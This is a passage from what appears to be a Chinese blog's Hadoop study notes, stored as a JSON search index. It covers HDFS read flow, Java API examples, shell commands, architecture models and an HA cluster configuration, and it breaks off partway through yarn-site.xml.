地址，会按照集群拓扑结构得出 DataNode 与客户端的距离，然后进行排序，排序两个规则：网络拓扑结构中距离 Client 近的排靠前；心跳机制中超时汇报的 DN 状态为 TALE，这样的排靠后； 3、 Client 选取排序靠前的 DataNode 来读取 block，如果客户端本身就是 DataNode, 那么将从本地直接获取数据 (短路读取特性)； 4、 底层上本质是建立 Socket Stream（FSDataInputStream），重复的调用父类 DataInputStream 的 read 方法，直到这个块上的数据读取完毕； 5、 当读完列表的 block 后，若文件读取还没有结束，客户端会继续向 NameNode 获取下一批的 block 列表； 6、 读取完一个 block 都会进行 checksum 验证，如果读取 DataNode 时出现错误，客户端会通知 NameNode，然后再从下一个拥有该 block 副本的 DataNode 继续读。 7、 read 方法是并行的读取 block 信息，不是一块一块的读取；NameNode 只是返回 Client 请求包含块的 DataNode 地址，并不是返回请求块的数据； 8、 最终读取来所有的 block 会合并成一个完整的最终文件。"},{"title":"","date":"2019-09-19T08:37:00.000Z","updated":"2022-05-11T12:24:00.000Z","comments":true,"path":"notes/Hadoop/hdfs-java.html","permalink":"https://blog.mhuig.top/notes/Hadoop/hdfs-java","excerpt":"","text":"HDFS JavaAPI 大数据处理技术 - HDFS 的 JavaAPI 操作 创建 maven 工程并导入 jar 包由于 cdh 版本的所有的软件涉及版权的问题，所以并没有将所有的 jar 包托管到 maven 仓库当中去，而是托管在了 CDH 自己的服务器上面，所以我们默认去 maven 的仓库下载不到，需要自己手动的添加 repository 去 CDH 仓库进行下载，以下两个地址是官方文档说明，请仔细查查阅https://www.cloudera.com/documentation/enterprise/releasenotes/topics/cdh_vd_cdh5_maven_repo.htmlhttps://www.cloudera.com/documentation/enterprise/releasenotes/topics/cdh_vd_cdh5_maven_repo_514x.html &lt;repositories&gt; &lt;repository&gt; &lt;id&gt;cloudera&lt;/id&gt; &lt;url&gt;https://repository.cloudera.com/artifactory/cloudera-repos/&lt;/url&gt; &lt;/repository&gt;&lt;/repositories&gt;&lt;dependencies&gt; &lt;dependency&gt; &lt;groupId&gt;org.apache.hadoop&lt;/groupId&gt; &lt;artifactId&gt;hadoop-client&lt;/artifactId&gt; &lt;version&gt;2.6.0-mr1-cdh5.14.0&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.apache.hadoop&lt;/groupId&gt; &lt;artifactId&gt;hadoop-common&lt;/artifactId&gt; &lt;version&gt;2.6.0-cdh5.14.0&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.apache.hadoop&lt;/groupId&gt; &lt;artifactId&gt;hadoop-hdfs&lt;/artifactId&gt; &lt;version&gt;2.6.0-cdh5.14.0&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.apache.hadoop&lt;/groupId&gt; &lt;artifactId&gt;hadoop-mapreduce-client-core&lt;/artifactId&gt; &lt;version&gt;2.6.0-cdh5.14.0&lt;/version&gt; &lt;/dependency&gt; &lt;!-- https://mvnrepository.com/artifact/junit/junit --&gt; &lt;dependency&gt; &lt;groupId&gt;junit&lt;/groupId&gt; &lt;artifactId&gt;junit&lt;/artifactId&gt; &lt;version&gt;4.11&lt;/version&gt; &lt;scope&gt;test&lt;/scope&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.testng&lt;/groupId&gt; &lt;artifactId&gt;testng&lt;/artifactId&gt; &lt;version&gt;RELEASE&lt;/version&gt; &lt;/dependency&gt;&lt;/dependencies&gt;&lt;build&gt; &lt;plugins&gt; &lt;plugin&gt; &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt; &lt;artifactId&gt;maven-compiler-plugin&lt;/artifactId&gt; &lt;version&gt;3.0&lt;/version&gt; &lt;configuration&gt; &lt;source&gt;1.8&lt;/source&gt; &lt;target&gt;1.8&lt;/target&gt; &lt;encoding&gt;UTF-8&lt;/encoding&gt; &lt;/configuration&gt; &lt;/plugin&gt; &lt;plugin&gt; &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt; &lt;artifactId&gt;maven-shade-plugin&lt;/artifactId&gt; &lt;version&gt;2.4.3&lt;/version&gt; &lt;executions&gt; &lt;execution&gt; &lt;phase&gt;package&lt;/phase&gt; &lt;goals&gt; &lt;goal&gt;shade&lt;/goal&gt; &lt;/goals&gt; &lt;configuration&gt; &lt;minimizeJar&gt;true&lt;/minimizeJar&gt; &lt;/configuration&gt; &lt;/execution&gt; &lt;/executions&gt; &lt;/plugin&gt; &lt;/plugins&gt;&lt;/build&gt; 使用文件系统方式访问数据在 java 中操作 HDFS，主要涉及以下 Class：Configuration：该类的对象封转了客户端或者服务器的配置；FileSystem（抽象类）：该类的对象是一个文件系统对象，可以用该对象的一些方法来对文件进行操作，通过 FileSystem 的静态方法 get 获得该对象。 FileSystem fs = FileSystem.get(conf) get 方法从 conf 中的一个参数 fs.defaultFS 的配置值判断具体是什么类型的文件系统。如果我们的代码中没有指定 fs.defaultFS，并且工程 classpath 下也没有给定相应的配置，conf 中的默认值就来自于 hadoop 的 jar 包中的 coredefault.xml ， 默认值为: file:/// ， 则获取的将不是一个 DistributedFileSystem 的实例，而是一个本地文件系统的客户端对象 获取 FileSystem 的几种方式第一种方式获取 FileSystem import org.apache.commons.io.IOUtils;import org.apache.hadoop.conf.Configuration;import org.apache.hadoop.fs.*;import org.testng.annotations.Test;import java.io.*;import java.net.URI;import java.net.URISyntaxException;public class HdfsOperateStudy { /** * 通过 fileSystem 获取分布式文件系统的几种方式 */ //获取 hdfs 分布式文件系统的第一种方式 @Test public void getFileSystem1() throws IOException { //如果 configuration 不做任何配置，获取到的是本地文件系统 Configuration configuration = new Configuration(); //覆盖我们的 hdfs 的配置，得到我们的分布式文件系统 configuration.set(\"fs.defaultFS\",\"hdfs://node01:8020/\"); FileSystem fileSystem = FileSystem.get(configuration); System.out.println(fileSystem.toString()); }} 第二种方式获取 FileSystem /*** 获取 hdfs 分布式文件系统的第二种方式*/@Testpublic void getHdfs2() throws URISyntaxException, IOException { //使用两个参数来获取 hdfs 文件系统 //第一个参数是一个 URI，定义了我们使用 hdfs://这种方式来访问，就是分布式文件系统 FileSystem fileSystem = FileSystem.get(new URI(\"hdfs://node01:8020\"), new Configuration()); System.out.println(fileSystem.toString());} 第三种方式获取 FileSystem /*** 获取 hdfs 分布式文件系统的第三种方式*/@Testpublic void getHdfs3() throws IOException { Configuration configuration = new Configuration(); configuration.set(\"fs.defaultFS\",\"hdfs://node01:8020\"); FileSystem fileSystem = FileSystem.newInstance(configuration); System.out.println(fileSystem.toString());} 第四种方式获取 FileSystem /*** 获取 hdfs 分布式文件系统的第四种方式*/@Testpublic void getHdfs4() throws Exception { //使用两个参数来获取 hdfs 文件系统 //第一个参数是一个 URI，定义了我们使用 hdfs://这种方式来访问， 就是分布式文件系统 FileSystem fileSystem = FileSystem.newInstance(new URI(\"hdfs://node01:8020\"), new Configuration()); System.out.println(fileSystem.toString());} hdfs 上面创建文件夹/*** hdfs 上面创建文件夹*/@Testpublic void createHdfsDir() throws Exception{ //获取分布式文件系统的客户端对象 FileSystem fileSystem = FileSystem.get(new URI(\"hdfs://node01:8020\"), new Configuration()); fileSystem.mkdirs(new Path(\"/abc/bbc/ddd\")); fileSystem.close();} hdfs 的文件上传/*** hdfs 的文件上传*/@Testpublic void uploadFileToHdfs() throws Exception{ //获取分布式文件系统的客户端 FileSystem fileSystem = FileSystem.get(new URI(\"hdfs://node01:8020\"), new Configuration()); //通过 copyFromLocalFile 将我们的本地文件上传到 hdfs 上面去 fileSystem.copyFromLocalFile(false,new Path(\"file:///f:\\\\平凡的世界.txt\"),new Path(\"/abc/bbc/ddd\")); fileSystem.close();} 遍历 hdfs 上面所有的文件//遍历 hdfs 上面所有的文件@Testpublic void listHdfsFiles() throws Exception{ FileSystem fileSystem = FileSystem.get(new URI(\"hdfs://node01:8020\"), new Configuration()); Path path = new Path(\"/\"); //alt + shift + l 提取变量 RemoteIterator&lt;LocatedFileStatus&gt; locatedFileStatusRemoteIterator = fileSystem.listFiles(path, true); //遍历迭代器，获取我们的迭代器里面每一个元素 while (locatedFileStatusRemoteIterator.hasNext()){ LocatedFileStatus next = locatedFileStatusRemoteIterator.next(); Path path1 = next.getPath(); System.out.println(path1.toString()); } fileSystem.close();}"},{"title":"","date":"2019-09-19T08:36:00.000Z","updated":"2022-05-11T02:50:00.000Z","comments":true,"path":"notes/Hadoop/hdfs-shell.html","permalink":"https://blog.mhuig.top/notes/Hadoop/hdfs-shell","excerpt":"","text":"HDFS 命令行 大数据处理技术 - HDFS 的命令行使用 hdfs 常用的操作命令查看根路径下面的文件或者文件夹 hdfs dfs -ls / 查看 test 路径下面的文件或者文件夹 hdfs dfs -ls /test 递归的查看根路径下面的文件或者文件夹 hdfs dfs -ls -R / 在 hdfs 上面递归的创建文件夹 hdfs dfs -mkdir -p /aaa/bbb hdfs dfs -moveFromLocal sourceDir (本地磁盘的文件或者文件夹的路径) destDir（hdfs 的路径） hdfs dfs -moveFromLocal /root/install.log / hdfs dfs -mv hdfsSourceDir hdfsDestDir hdfs dfs -mv /install.log /aaa hdfs dfs -put localDir hdfsDir 将本地文件系统的文件或者文件夹放到 hdfs 上面去 hdfs dfs -put /root/install.log.syslog /aaa hdfs dfs -cat hdfsDir 查看 hdfs 的文件内容 hdfs dfs -cat /aaa/install.log hdfs dfs -cp hdfsSourceDIr hdfsDestDir 拷贝文件或者文件夹 hdfs dfs -cp /aaa/install.log /aaa/in2.loghdfs dfs -ls /aaa hdfs dfs -rmr （递归）删除文件或者文件夹 hdfs dfs -rmr /aaa/in2.log hdfs 的权限管理命令： hdfs dfs -chmod -R 777 /xxx hdfs 的安全模式安全模式是 HDFS 所处的一种特殊状态，在这种状态下，文件系统只接受读数据请求，而不接受删除、修改等变更请求。 在 NameNode 主节点启动时，HDFS 首先进入安全模式，DataNode 在启动的时候会向 namenode 汇报可用的 block 等状态，当整个系统达到安全标准时，HDFS 自动离开安全模式。 如果 HDFS 出于安全模式下，则文件 block 不能进行任何的副本复制操作，因此达到最小的副本数量要求是基于 datanode 启动时的状态来判定的，启动时不会再做任何复制（从而达到最小副本数量要求），hdfs 集群刚启动的时候，默认 30S 钟的时间是出于安全期的，只有过了 30S 之后，集群脱离了安全期，然后才可以对集群进行操作. hdfs dfsadmin -safemode"},{"title":"","date":"2019-09-19T08:35:00.000Z","updated":"2022-05-11T02:33:00.000Z","comments":true,"path":"notes/Hadoop/hdfs.html","permalink":"https://blog.mhuig.top/notes/Hadoop/hdfs","excerpt":"","text":"HDFS 大数据处理技术 - HDFS 入门介绍 HDFS 介绍HDFS 是 Hadoop Distribute File System 的简称，意为：Hadoop 分布式文件系统。是 Hadoop 核心组件之一，作为最底层的分布式存储服务而存在。分布式文件系统解决的问题就是大数据存储。它们是横跨在多台计算机上的存储系统。分布式文件系统在大数据时代有着广泛的应用前景，它们为存储和处理超大规模数据提供所需的扩展能力。 HDFS 的特性首先，它是一个文件系统，用于存储文件，通过统一的命名空间目录树来定位文件； 其次，它是分布式的，由很多服务器联合起来实现其功能，集群中的服务器有各自的角色。 master/slave 架构HDFS 采用 master/slave 架构。一般一个 HDFS 集群是有一个 Namenode 和一定数目的 Datanode 组成。Namenode 是 HDFS 集群主节点，Datanode 是 HDFS 集群从节点，两种角色各司其职，共同协调完成分布式的文件存储服务。 分块存储HDFS 中的文件在物理上是分块存储（block）的，块的大小可以通过配置参数来规定，默认大小在 hadoop2.x 版本中是 128M。 名字空间（NameSpace）HDFS 支持传统的层次型文件组织结构。用户或者应用程序可以创建目录，然后将文件保存在这些目录里。文件系统名字空间的层次结构和大多数现有的文件系统类似：用户可以创建、删除、移动或重命名文件。Namenode 负责维护文件系统的名字空间，任何对文件系统名字空间或属性的修改都将被 Namenode 记录下来。HDFS 会给客户端提供一个统一的抽象目录树，客户端通过路径来访问文件，形如： hdfs://namenode:port/dir-a/dir-b/dir-c/file.data。 Namenode 元数据管理我们把目录结构及文件分块位置信息叫做元数据。Namenode 负责维护整个 hdfs 文件系统的目录树结构，以及每一个文件所对应的 block 块信息（block 的 id，及所在的 datanode 服务器）。 元数据信息：描述数据的数据第一个问题：如果有一堆书，如何快速查找到我需要的时平凡的世界 书本的分类，书本的编号，书本所在的书架，书本的位置，如果记录了这些信息，就可以快速找到对应的书本这些信息，描述了我们需要的书本在哪里，确定了这些描述信息，就可以唯一定位到这本书如何区分关羽与王熙凤：性别，外观样貌信息（丹凤眼） 长头发，短头发，都是通过一些描述信息，来区分每一个人的如何设计一个文件系统：第一个：盘符第二个：文件名第三个：文件的类型第四个：文件大小第五个：创建时间修改时间第六个：所属权限第七个：文件的路径这些数据都是用于描述一个文件或者文件夹，只要有了这些描述信息，那么我们就能定位到一个唯一的文件或者文件夹这些都是一些描述数据，叫做我们的元数据信息元数据信息：文件名称，文件路径，文件的大小，文件的权限每一个文件或者每一个文件夹都会产生一份元数据信息只要抓住了元数据信息，就抓住了磁盘上面存储的所有的文件或者文件夹 Datanode 数据存储文件的各个 block 的具体存储管理由 datanode 节点承担。每一个 block 都可以在多个 datanode 上。Datanode 需要定时向 Namenode 汇报自己持有的 block 信息。 存储多个副本（副本数量也可以通过参数设置 dfs.replication，默认是 3）。 副本机制为了容错，文件的所有 block 都会有副本。每个文件的 block 大小和副本系数都是可配置的。应用程序可以指定某个文件的副本数目。副本系数可以在文件创建的时候指定，也可以在之后改变。 一次写入，多次读出HDFS 是设计成适应一次写入，多次读出的场景，且不支持文件的修改。正因为如此，HDFS 适合用来做大数据分析的底层存储服务，并不适合用来做网盘等应用，因为，修改不方便，延迟大，网络开销大，成本太高。 分布式文件系统详细介绍在 hadoop 当中，分布式文件系统 HDFS，对文件系统有一个抽象，HDFS 属于当中的一个实现类，也就是说分布式文件系统类似于一个接口，定义了标准，下面有很多的实现类其中 HDFS 是一个子实现类而已，但是现在很多人都只知道一种就是 HDFS 的实现，并没有了解过其他的实现类其实分布式文件系统的实现有很多种，具体详细参见《hadoop 权威指南第三版》第 59 页 我们重点突出讲解 HDFS 这种文件系统 HDFS 分布式文件系统设计目标 1、 硬件错误 由于集群很多时候由数量众多的廉价机组成，使得硬件错误成为常态（磁盘损坏 屌丝机） 2、 数据流访问 所有应用以流的方式访问数据，设置之初便是为了用于批量的处理数据，而不是低延时的实时交互处理 3、 大数据集 典型的 HDFS 集群上面的一个文件是以 G 或者 T 数量级的，支持一个集群当中的文件数量达到千万数量级 4、 简单的相关模型 假定文件是一次写入，多次读取的操作（假设 不会频繁写） 5、 移动计算比移动数据便宜 一个应用请求的计算，离它操作的数据越近，就越高效（代码到数据） 6、 多种软硬件的可移植性 HDFS 的来源HDFS 起源于 Google 的 GFS 论文（GFS，Mapreduce，BigTable 为 google 的旧的三驾马车）发表于 2003 年 10 月HDFS 是 GFS 的克隆版 Hadoop Distributed File system易于扩展的分布式文件系统，运行在大量普通廉价机器上，提供容错机制为大量用户提供性能不错的文件存取服务."},{"title":"","date":"2019-09-19T03:24:00.000Z","updated":"2022-05-10T02:57:00.000Z","comments":true,"path":"notes/Hadoop/hdoop-arch.html","permalink":"https://blog.mhuig.top/notes/Hadoop/hdoop-arch","excerpt":"","text":"架构模型 大数据处理技术 - hadoop 的架构模型（1.x，2.x 的各种架构模型介绍） 1.x 的版本架构模型 文件系统核心模块NameNode：集群当中的主节点，主要用于管理集群当中的各种数据 secondaryNameNode：主要能用于 hadoop 当中元数据信息的辅助管理 DataNode：集群当中的从节点，主要用于存储集群当中的各种数据 数据计算核心模块JobTracker：接收用户的计算请求任务，并分配任务给从节点 TaskTracker：负责执行主节点 JobTracker 分配的任务 2.x 的版本架构模型第一种：NameNode 与 ResourceManager 单节点架构模型 文件系统核心模块NameNode：集群当中的主节点，主要用于管理集群当中的各种数据 secondaryNameNode：主要能用于 hadoop 当中元数据信息的辅助管理 DataNode：集群当中的从节点，主要用于存储集群当中的各种数据 数据计算核心模块ResourceManager：接收用户的计算请求任务，并负责集群的资源分配 NodeManager：负责执行主节点 APPmaster 分配的任务 第二种：NameNode 单节点与 ResourceManager 高可用架构模型 文件系统核心模块NameNode：集群当中的主节点，主要用于管理集群当中的各种数据 secondaryNameNode：主要能用于 hadoop 当中元数据信息的辅助管理 DataNode：集群当中的从节点，主要用于存储集群当中的各种数据 数据计算核心模块ResourceManager：接收用户的计算请求任务，并负责集群的资源分配，以及计算任务的划分，通过 zookeeper 实现 ResourceManager 的高可用 NodeManager：负责执行主节点 ResourceManager 分配的任务 第三种：NameNode 高可用与 ResourceManager 单节点架构模型 文件系统核心模块NameNode：集群当中的主节点，主要用于管理集群当中的各种数据，其中 nameNode 可以有两个，形成高可用状态 DataNode：集群当中的从节点，主要用于存储集群当中的各种数据 JournalNode：文件系统元数据信息管理 数据计算核心模块ResourceManager：接收用户的计算请求任务，并负责集群的资源分配，以及计算任务的划分 NodeManager：负责执行主节点 ResourceManager 分配的任务 第四种：NameNode 与 ResourceManager 高可用架构模型 文件系统核心模块NameNode：集群当中的主节点，主要用于管理集群当中的各种数据，一般都是使用两个，实现 HA 高可用 JournalNode：元数据信息管理进程，一般都是奇数个 DataNode：从节点，用于数据的存储 数据计算核心模块ResourceManager：Yarn 平台的主节点，主要用于接收各种任务，通过两个，构建成高可用 NodeManager：Yarn 平台的从节点，主要用于处理 ResourceManager 分配的任务"},{"title":"","date":"2019-09-19T08:32:00.000Z","updated":"2022-05-11T01:16:00.000Z","comments":true,"path":"notes/Hadoop/high-availability.html","permalink":"https://blog.mhuig.top/notes/Hadoop/high-availability","excerpt":"","text":"高可用分布式 大数据处理技术 - apache hadoop 三种架构介绍 (高可用分布式环境介绍以及安装) 高可用分布式环境搭建（适用于工作当中正式环境搭建） 实现 namenode 高可用，ResourceManager 的高可用 集群运行服务规划 服务器 IP 192.168.52.100 192.168.52.110 192.168.52.120 zookeeper zk zk zk HDFS JournalNode JournalNode JournalNode NameNode NameNode ZKFC ZKFC DataNode DataNode DataNode YARN ResourceManager ResourceManager NodeManager NodeManager NodeManager MapReduce JobHistoryServer 安装包解压停止之前的 hadoop 集群的所有服务，并删除所有机器的 hadoop 安装包，第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5sbin/stop-dfs.shsbin/stop-yarn.shsbin/mr-jobhistory-daemon.sh stop historyserver cd /export/servers/rm -rf hadoop-2.7.5/ 然后重新解压 hadoop 压缩包解压压缩包第一台机器执行以下命令进行解压 cd /export/softwarestar -zxvf hadoop-2.7.5.tar.gz -C ../servers/ 配置文件的修改修改 core-site.xml第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim core-site.xml core-site.xml&lt;configuration&gt; &lt;!-- 指定 NameNode 的 HA 高可用的 zk 地址 --&gt; &lt;property&gt; &lt;name&gt;ha.zookeeper.quorum&lt;/name&gt; &lt;value&gt;node01:2181,node02:2181,node03:2181&lt;/value&gt; &lt;/property&gt; &lt;!-- 指定 HDFS 访问的域名地址 --&gt; &lt;property&gt; &lt;name&gt;fs.defaultFS&lt;/name&gt; &lt;value&gt;hdfs://ns&lt;/value&gt; &lt;/property&gt; &lt;!-- 临时文件存储目录 --&gt; &lt;property&gt; &lt;name&gt;hadoop.tmp.dir&lt;/name&gt; &lt;value&gt;/export/servers/hadoop-2.7.5/data/tmp&lt;/value&gt; &lt;/property&gt; &lt;!-- 开启 hdfs 垃圾箱机制，指定垃圾箱中的文件七天之后就彻底删掉单位为分钟--&gt; &lt;property&gt; &lt;name&gt;fs.trash.interval&lt;/name&gt; &lt;value&gt;10080&lt;/value&gt; &lt;/property&gt;&lt;/configuration&gt; 修改 hdfs-site.xml第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim hdfs-site.xml hdfs-site.xml&lt;configuration&gt; &lt;!-- 指定命名空间 --&gt; &lt;property&gt; &lt;name&gt;dfs.nameservices&lt;/name&gt; &lt;value&gt;ns&lt;/value&gt; &lt;/property&gt; &lt;!-- 指定该命名空间下的两个机器作为我们的 NameNode --&gt; &lt;property&gt; &lt;name&gt;dfs.ha.namenodes.ns&lt;/name&gt; &lt;value&gt;nn1,nn2&lt;/value&gt; &lt;/property&gt; &lt;!-- 配置第一台服务器的 namenode 通信地址 --&gt; &lt;property&gt; &lt;name&gt;dfs.namenode.rpc-address.ns.nn1&lt;/name&gt; &lt;value&gt;node01:8020&lt;/value&gt; &lt;/property&gt; &lt;!-- 配置第二台服务器的 namenode 通信地址 --&gt; &lt;property&gt; &lt;name&gt;dfs.namenode.rpc-address.ns.nn2&lt;/name&gt; &lt;value&gt;node02:8020&lt;/value&gt; &lt;/property&gt; &lt;!-- 所有从节点之间相互通信端口地址 --&gt; &lt;property&gt; &lt;name&gt;dfs.namenode.servicerpc-address.ns.nn1&lt;/name&gt; &lt;value&gt;node01:8022&lt;/value&gt; &lt;/property&gt; &lt;!-- 所有从节点之间相互通信端口地址 --&gt; &lt;property&gt; &lt;name&gt;dfs.namenode.servicerpc-address.ns.nn2&lt;/name&gt; &lt;value&gt;node02:8022&lt;/value&gt; &lt;/property&gt; &lt;!-- 第一台服务器 namenode 的 web 访问地址 --&gt; &lt;property&gt; &lt;name&gt;dfs.namenode.http-address.ns.nn1&lt;/name&gt; &lt;value&gt;node01:50070&lt;/value&gt; &lt;/property&gt; &lt;!-- 第二台服务器 namenode 的 web 访问地址 --&gt; &lt;property&gt; &lt;name&gt;dfs.namenode.http-address.ns.nn2&lt;/name&gt; &lt;value&gt;node02:50070&lt;/value&gt; &lt;/property&gt; &lt;!-- journalNode 的访问地址，注意这个地址一定要配置 --&gt; &lt;property&gt; &lt;name&gt;dfs.namenode.shared.edits.dir&lt;/name&gt; &lt;value&gt;qjournal://node01:8485;node02:8485;node03:8485/ns1&lt;/value&gt; &lt;/property&gt; &lt;!-- 指定故障自动恢复使用的哪个 java 类 --&gt; &lt;property&gt; &lt;name&gt;dfs.client.failover.proxy.provider.ns&lt;/name&gt; &lt;value&gt;org.apache.hadoop.hdfs.server.namenode.ha.ConfiguredFailoverProxyProvider&lt;/value&gt; &lt;/property&gt; &lt;!-- 故障转移使用的哪种通信机制 --&gt; &lt;property&gt; &lt;name&gt;dfs.ha.fencing.methods&lt;/name&gt; &lt;value&gt;sshfence&lt;/value&gt; &lt;/property&gt; &lt;!-- 指定通信使用的公钥 --&gt; &lt;property&gt; &lt;name&gt;dfs.ha.fencing.ssh.private-key-files&lt;/name&gt; &lt;value&gt;/root/.ssh/id_rsa&lt;/value&gt; &lt;/property&gt; &lt;!-- journalNode 数据存放地址 --&gt; &lt;property&gt; &lt;name&gt;dfs.journalnode.edits.dir&lt;/name&gt; &lt;value&gt;/export/servers/hadoop-2.7.5/data/dfs/jn&lt;/value&gt; &lt;/property&gt; &lt;!-- 启用自动故障恢复功能 --&gt; &lt;property&gt; &lt;name&gt;dfs.ha.automatic-failover.enabled&lt;/name&gt; &lt;value&gt;true&lt;/value&gt; &lt;/property&gt; &lt;!-- namenode 产生的文件存放路径 --&gt; &lt;property&gt; &lt;name&gt;dfs.namenode.name.dir&lt;/name&gt; &lt;value&gt;file:///export/servers/hadoop-2.7.5/data/dfs/nn/name&lt;/value&gt; &lt;/property&gt; &lt;!-- edits 产生的文件存放路径 --&gt; &lt;property&gt; &lt;name&gt;dfs.namenode.edits.dir&lt;/name&gt; &lt;value&gt;file:///export/servers/hadoop-2.7.5/data/dfs/nn/edits&lt;/value&gt; &lt;/property&gt; &lt;!-- dataNode 文件存放路径 --&gt; &lt;property&gt; &lt;name&gt;dfs.datanode.data.dir&lt;/name&gt; &lt;value&gt;file:///export/servers/hadoop-2.7.5/data/dfs/dn&lt;/value&gt; &lt;/property&gt; &lt;!-- 关闭 hdfs 的文件权限 --&gt; &lt;property&gt; &lt;name&gt;dfs.permissions&lt;/name&gt; &lt;value&gt;false&lt;/value&gt; &lt;/property&gt; &lt;!-- 指定 block 文件块的大小 --&gt; &lt;property&gt; &lt;name&gt;dfs.blocksize&lt;/name&gt; &lt;value&gt;134217728&lt;/value&gt; &lt;/property&gt;&lt;/configuration&gt; 修改 yarn-site.xml注意 node03 与 node02 配置不同 第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim yarn-site.xml yarn-site.xml&lt;configuration&gt; &lt;!-- Site specific YARN configuration properties --&gt; &lt;!-- 是否启用日志聚合.应用程序完成后,日志汇总收集每个容器的日志,这些日志移动到文件系统,例如 HDFS. --&gt; &lt;!-- 用 户 可 以 通 过 配 置 \"yarn.nodemanager.remote-app-log-dir\" 、\"yarn.nodemanager.remote-app-log-dir-suffix\"来确定日志移动到的位置 --&gt; &lt;!-- 用户可以通过应用程序时间服务器访问日志 --&gt; &lt;!-- 启用日志聚合功能，应用程序完成后，收集各个节点的日志到一起便于查看 --&gt; &lt;property&gt; &lt;name&gt;yarn.log-aggregation-enable&lt;/name&gt; &lt;value&gt;true&lt;/value&gt; &lt;/property&gt; &lt;!--开启 resource manager HA,默认为 false--&gt; &lt;property&gt; &lt;name&gt;yarn.resourcemanager.ha.enabled&lt;/name&gt; &lt;value&gt;true&lt;/value&gt; &lt;/property&gt; &lt;!-- 集群的 Id，使用该值确保 RM 不会做为其它集群的 active --&gt; &lt;property&gt; &lt;name&gt;yarn.resourcemanager.cluster-id&lt;/name&gt; &lt;value&gt;mycluster&lt;/value&gt; &lt;/property&gt; &lt;!--配置 resource manager 命名--&gt; &lt;property&gt; &lt;name&gt;yarn.resourcemanager.ha.rm-ids&lt;/name&gt; &lt;value&gt;rm1,rm2&lt;/value&gt; &lt;/property&gt; &lt;!-- 配置第一台机器的 resourceManager --&gt; &lt;property&gt; &lt;name&gt;yarn.resourcemanager.hostname.rm1&lt;/name&gt; &lt;value&gt;node03&lt;/value&gt; &lt;/property&gt; &lt;!-- 配置第二台机器的 resourceManager --&gt; &lt;property&gt; &lt;name&gt;yarn.resourcemanager.hostname.rm2&lt;/name&gt; &lt;value&gt;node02&lt;/value&gt; &lt;/property&gt; &lt;!-- 配置第一台机器的 resourceManager 通信地址 --&gt; &lt;property&gt; &lt;name&gt;yarn.resourcemanager.address.rm1&lt;/name&gt; &lt;value&gt;node03:8032&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;yarn.resourcemanager.scheduler.address.rm1&lt;/name&gt; &lt;value&gt;node03:8030&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;yarn.resourcemanager.resourcetracker.address.rm1&lt;/name&gt; &lt;value&gt;node03:8031&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;yarn.resourcemanager.admin.address.rm1&lt;/name&gt; &lt;value&gt;node03:8033&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;yarn.resourcemanager.webapp.address.rm1&lt;/name&gt; &lt;value&gt;node03:8088&lt;/value&gt; &lt;/property&gt; &lt;!-- 配置第二台机器的 resourceManager 通信地址 --&gt; &lt;property&gt; &lt;name&gt;yarn.resourcemanager.address.rm2&lt;/name&gt; &lt;value&gt;node02:8032&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;yarn.resourcemanager.scheduler.address.rm2&lt;/name&gt; &lt;value&gt;node02:8030&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;yarn.resourcemanager.resourcetracker.address.rm2&lt;/name&gt; &lt;value&gt;node02:8031&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;yarn.resourcemanager.admin.address.rm2&lt;/name&gt; &lt;value&gt;node02:8033&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;yarn.resourcemanager.webapp.address.rm2&lt;/name&gt; &lt;value&gt;node02:8088&lt;/value&gt; &lt;/property&gt; &lt;!--开启 resourcemanager 自动恢复功能--&gt; &lt;property&gt; &lt;name&gt;yarn.resourcemanager.recovery.enabled&lt;/name&gt; &lt;value&gt;true&lt;/value&gt; &lt;/property&gt; &lt;!--在 node1 上配置 rm1,在 node2 上配置 rm2,注意：一般都喜欢把配置好的文件远程复制到其它机器上，但这个在 YARN 的另一个机器上一定要修改，其他机器上不配置此项--&gt; &lt;property&gt; &lt;name&gt;yarn.resourcemanager.ha.id&lt;/name&gt; &lt;value&gt;rm1&lt;/value&gt; &lt;description&gt;If we want to launch more than one RM in single node,we need this configuration&lt;/description&gt; &lt;/property&gt; &lt;!--用于持久存储的类。尝试开启--&gt; &lt;property&gt; &lt;name&gt;yarn.resourcemanager.store.class&lt;/name&gt; &lt;value&gt;org.apache.hadoop.yarn.server.resourcemanager.recovery.ZKRMStateStore&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;yarn.resourcemanager.zk-address&lt;/name&gt; &lt;value&gt;node01:2181,node02:2181,node03:2181&lt;/value&gt; &lt;description&gt;For multiple zk services, separate them with comma&lt;/description&gt; &lt;/property&gt; &lt;!--开启 resourcemanager 故障自动切换，指定机器--&gt; &lt;property&gt; &lt;name&gt;yarn.resourcemanager.ha.automaticfailover.enabled&lt;/name&gt; &lt;value&gt;true&lt;/value&gt; &lt;description&gt;Enable automatic failover; By default, it is enabled only when HA is enabled.&lt;/description&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;yarn.client.failover-proxy-provider&lt;/name&gt; &lt;value&gt;org.apache.hadoop.yarn.client.ConfiguredRMFailoverProxyProvider&lt;/value&gt; &lt;/property&gt; &lt;!-- 允许分配给一个任务最大的 CPU 核数，默认是 8 --&gt; &lt;property&gt; &lt;name&gt;yarn.nodemanager.resource.cpu-vcores&lt;/name&gt; &lt;value&gt;4&lt;/value&gt; &lt;/property&gt; &lt;!-- 每个节点可用内存,单位 MB --&gt; &lt;property&gt; &lt;name&gt;yarn.nodemanager.resource.memory-mb&lt;/name&gt; 